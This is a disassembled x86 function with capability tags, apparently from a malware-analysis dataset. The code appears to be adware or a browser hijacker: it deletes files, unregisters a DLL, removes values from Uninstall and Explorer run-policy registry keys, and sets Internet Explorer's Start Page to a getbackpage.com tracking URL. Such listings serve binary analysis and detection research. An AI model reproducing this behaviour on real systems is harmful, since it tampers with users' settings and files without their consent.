Function at 0x402160
Capabilities:
Delete file
Delete registry value
Persist via run registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x750
lea eax, [esp + 0x138]
push 0x104
push eax
call fcn.00402010
add esp, 8
test al, al
jne 0x4021ad
push 0x104
lea ecx, [esp + 0x13c]
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea edx, [esp + 0x138]
push 0x5c
push edx
call fcn.004033d0
add esp, 8
test eax, eax
je 0x4021ad
mov byte [eax], 0
push ebx
push ebp
push esi
push edi
call fcn.00403469
mov eax, dword [str.__ISA_]
mov cx, word [0x406204]
mov dl, byte [0x406206]
lea edi, [esp + 0x454]
mov dword [esp + 0x454], eax
mov word [esp + 0x458], cx
mov byte [esp + 0x45a], dl
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4021e6
mov eax, dword [str.UPDATE__]
mov ecx, dword [0x4061f8]
mov dl, byte [0x4061fc]
mov dword [edi], eax
lea eax, [esp + 0x454]
push eax
push 0
mov dword [edi + 4], ecx
push 0x1f0003
mov byte [edi + 8], dl
call dword [sym.imp.KERNEL32.DLL_OpenEventA]
mov esi, eax
test esi, esi
je 0x402230
push esi
call dword [sym.imp.KERNEL32.DLL_SetEvent]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x5f
push 0x4061e8
call fcn.0040353e
push eax
call fcn.004039da
add esp, 0xc
test eax, eax
je 0x40226d
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
nop
push 0xa
call esi
push 0x5f
push 0x4061e8
call fcn.0040353e
push eax
call fcn.004039da
add esp, 0xc
test eax, eax
jne 0x402250
xor eax, eax
nop
mov cl, byte [esp + eax + 0x148]
mov byte [esp + eax + 0x44], cl
inc eax
test cl, cl
jne 0x402270
lea edi, [esp + 0x44]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402285
mov cx, word [0x405f88]
push 0x5f
push 0x4061e8
mov word [edi], cx
call fcn.0040353e
add esp, 8
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4022a8
lea edi, [esp + 0x44]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4022b6
mov ebx, dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea edx, [esp + 0x44]
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
call ebx
xor eax, eax
lea ecx, [ecx]
mov cl, byte [esp + eax + 0x148]
mov byte [esp + eax + 0x44], cl
inc eax
test cl, cl
jne 0x4022e0
lea edi, [esp + 0x44]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4022f5
mov ax, word [0x405f88]
push 0x5f
push 0x4061dc
mov word [edi], ax
call fcn.0040353e
add esp, 8
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402317
lea edi, [esp + 0x44]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402325
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x44]
push ecx
call ebx
xor eax, eax
jmp 0x402350
mov cl, byte [esp + eax + 0x148]
mov byte [esp + eax + 0x44], cl
inc eax
test cl, cl
jne 0x402350
lea edi, [esp + 0x44]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402365
mov dx, word [0x405f88]
push 0x5f
push 0x4061d0
mov word [edi], dx
call fcn.0040353e
add esp, 8
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402388
lea edi, [esp + 0x44]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402396
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [esp + 0x44]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call ebx
xor eax, eax
jmp 0x4023c0
mov cl, byte [esp + eax + 0x148]
mov byte [esp + eax + 0x44], cl
inc eax
test cl, cl
jne 0x4023c0
lea edi, [esp + 0x44]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4023d5
mov cx, word [0x405f88]
push 0x5f
push 0x4061c4
mov word [edi], cx
call fcn.0040353e
add esp, 8
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4023f8
lea edi, [esp + 0x44]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402406
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea edx, [esp + 0x44]
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
call ebx
xor eax, eax
jmp 0x402430
mov cl, byte [esp + eax + 0x148]
mov byte [esp + eax + 0x44], cl
inc eax
test cl, cl
jne 0x402430
lea edi, [esp + 0x44]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402445
mov eax, dword [str.ot.ico]
mov ecx, dword [0x4061c0]
lea edx, [esp + 0x44]
mov dword [edi], eax
push edx
mov dword [edi + 4], ecx
call ebx
xor eax, eax
jmp 0x402470
mov cl, byte [esp + eax + 0x148]
mov byte [esp + eax + 0x44], cl
inc eax
test cl, cl
jne 0x402470
lea edi, [esp + 0x44]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402485
mov eax, dword [str._ts.ico]
mov ecx, dword [0x4061b8]
lea edx, [esp + 0x44]
mov dword [edi], eax
push edx
mov dword [edi + 4], ecx
call ebx
xor eax, eax
jmp 0x4024b0
mov cl, byte [esp + eax + 0x148]
mov byte [esp + eax + 0x44], cl
inc eax
test cl, cl
jne 0x4024b0
lea edi, [esp + 0x44]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4024c5
mov ax, word [0x405f88]
push 0x5f
push 0x4061ac
mov word [edi], ax
call fcn.0040353e
add esp, 8
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4024e7
lea edi, [esp + 0x44]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4024f5
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x44]
push ecx
call ebx
xor eax, eax
jmp 0x402520
mov cl, byte [esp + eax + 0x148]
mov byte [esp + eax + 0x44], cl
inc eax
test cl, cl
jne 0x402520
lea edi, [esp + 0x44]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402535
mov dx, word [0x405f88]
push 0x5f
push 0x4061a0
mov word [edi], dx
call fcn.0040353e
add esp, 8
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402558
lea edi, [esp + 0x44]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402566
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [esp + 0x44]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x4025a8
push str.DllUnregisterServer
push esi
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0x4025a1
call eax
push esi
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
lea ecx, [esp + 0x44]
push ecx
call ebx
xor eax, eax
mov cl, byte [esp + eax + 0x148]
mov byte [esp + eax + 0x44], cl
inc eax
test cl, cl
jne 0x4025b1
lea edi, [esp + 0x44]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4025c6
mov dx, word [0x405f88]
push 0x5f
push 0x406180
mov word [edi], dx
call fcn.0040353e
add esp, 8
mov esi, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4025f0
lea edi, [esp + 0x44]
sub eax, esi
dec edi
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402600
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [esp + 0x44]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call ebx
mov ecx, 0xd
mov esi, str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall_
lea edi, [esp + 0x350]
rep movsd dword es:[edi], dword [esi]
push 0x64
push 0x406134
movsb byte es:[edi], byte [esi]
call fcn.0040353e
add esp, 8
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402642
lea edi, [esp + 0x350]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402655
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x350]
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.004020d0
mov ecx, 0xd
mov esi, str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall_
lea edi, [esp + 0x358]
rep movsd dword es:[edi], dword [esi]
push 0x5f
push 0x406120
movsb byte es:[edi], byte [esi]
call fcn.0040353e
add esp, 0x10
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4026a2
lea edi, [esp + 0x350]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4026b5
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea edx, [esp + 0x350]
mov ecx, eax
push edx
and ecx, 3
push reloc.OLEAUT32.dll_SysReAllocString
rep movsb byte es:[edi], byte [esi]
call fcn.004020d0
mov ecx, 0xd
mov esi, str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall_
lea edi, [esp + 0x358]
rep movsd dword es:[edi], dword [esi]
push 0x5f
push 0x406110
movsb byte es:[edi], byte [esi]
call fcn.0040353e
add esp, 0x10
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402702
lea edi, [esp + 0x350]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402715
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [esp + 0x350]
push eax
and ecx, 3
push reloc.OLEAUT32.dll_SysReAllocString
rep movsb byte es:[edi], byte [esi]
call fcn.004020d0
mov ecx, 5
mov esi, str.multimediaControls.chl
lea edi, [esp + 0x254]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea ecx, [esp + 0x254]
push ecx
push SysReAllocString
movsb byte es:[edi], byte [esi]
call fcn.004020d0
mov edx, dword [str.videoPl.chl]
mov eax, dword [0x4060f0]
mov ecx, dword [0x4060f4]
mov dword [esp + 0x25c], edx
lea edx, [esp + 0x25c]
push edx
push SysReAllocString
mov dword [esp + 0x268], eax
mov dword [esp + 0x26c], ecx
call fcn.004020d0
mov edx, dword [0x4060e0]
mov eax, dword [str.multimediaPl.chl]
mov ecx, dword [0x4060dc]
mov dword [esp + 0x26c], edx
lea edx, [esp + 0x264]
mov dword [esp + 0x264], eax
mov eax, dword [0x4060e4]
mov dword [esp + 0x268], ecx
mov cl, byte [0x4060e8]
push edx
push SysReAllocString
mov dword [esp + 0x278], eax
mov byte [esp + 0x27c], cl
call fcn.004020d0
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
add esp, 0x20
lea eax, [esp + 0x14]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionpoliciesexplorer_run
push reloc.OLEAUT32.dll_SysReAllocString
call esi
test eax, eax
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jne 0x402837
mov ecx, dword [esp + 0x14]
mov edi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push str.some
push ecx
call edi
mov edx, dword [esp + 0x14]
push str.start
push edx
call edi
mov eax, dword [esp + 0x14]
push eax
call ebp
lea ecx, [esp + 0x14]
push ecx
push 0x64
push 0x405f9c
call fcn.0040353e
add esp, 8
push eax
push SysReAllocString
call esi
test eax, eax
jne 0x4029e2
mov ecx, dword [esp + 0x14]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x55c]
push eax
push 0
push 0
push str.65333
push ecx
mov dword [esp + 0x30], 0x103
call edi
test eax, eax
jne 0x4029b5
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call fcn.00403394
call fcn.0040339e
cdq
mov ecx, 0xa
idiv ecx
mov bl, dl
call fcn.0040339e
cdq
mov ecx, 0xa
idiv ecx
push 0xff78
mov byte [esp + 0x1b], dl
call fcn.00401320
mov ecx, dword [esp + 0x1c]
add esp, 8
lea edx, [esp + 0x18]
push edx
mov esi, eax
lea eax, [esp + 0x55c]
push eax
push 0
push 0
push str.65333
push ecx
call edi
test eax, eax
jne 0x4029b5
lea edx, [esp + 0x1c]
push edx
call dword [sym.imp.KERNEL32.DLL_GetLocalTime]
push 0xff79
call fcn.00401320
push 0xff7a
mov dword [esp + 0x44], eax
call fcn.00401320
add esp, 8
mov dword [esp + 0x40], eax
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x40]
push ecx
call dword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
movzx eax, word [esp + 0x28]
movzx ecx, word [esp + 0x26]
lea edx, [esp + 0x558]
push edx
movzx edx, word [esp + 0x28]
push eax
movzx eax, word [esp + 0x2a]
push ecx
movzx ecx, word [esp + 0x2a]
push edx
movzx edx, word [esp + 0x2c]
push eax
movzx eax, word [esp + 0x4c]
push ecx
movzx ecx, word [esp + 0x4e]
push edx
movzx edx, word [esp + 0x50]
push eax
movzx eax, word [esp + 0x52]
push ecx
movzx ecx, word [esp + 0x52]
push edx
movzx edx, word [esp + 0x54]
push eax
movsx eax, byte [esp + 0x3f]
push ecx
push edx
push eax
movsx ecx, bl
push esi
push ecx
lea edx, [esp + 0x69c]
push str.http:__www.getbackpage.com__cm_1.1d_d_1.1dlt1it_4.4d__2.2d__2.2d__20_2.2d__3A_2.2d__3A_2.2ddt_4.4d__2.2d__2.2d__20_2.2d__3A_2.2d__3A_2.2dq_s
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x6a4]
push eax
push str.Start_Page
push str.SoftwareMicrosoftInternet_ExplorerMain
push SysReAllocString
call fcn.00403b6f
add esp, 0x58
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push 0
push 0
call dword [sym.imp.GDI32.dll_SelectObject]
push 0
call dword [sym.imp.KERNEL32.DLL_PulseEvent]
mov ecx, dword [esp + 0x14]
push ecx
call ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x750
ret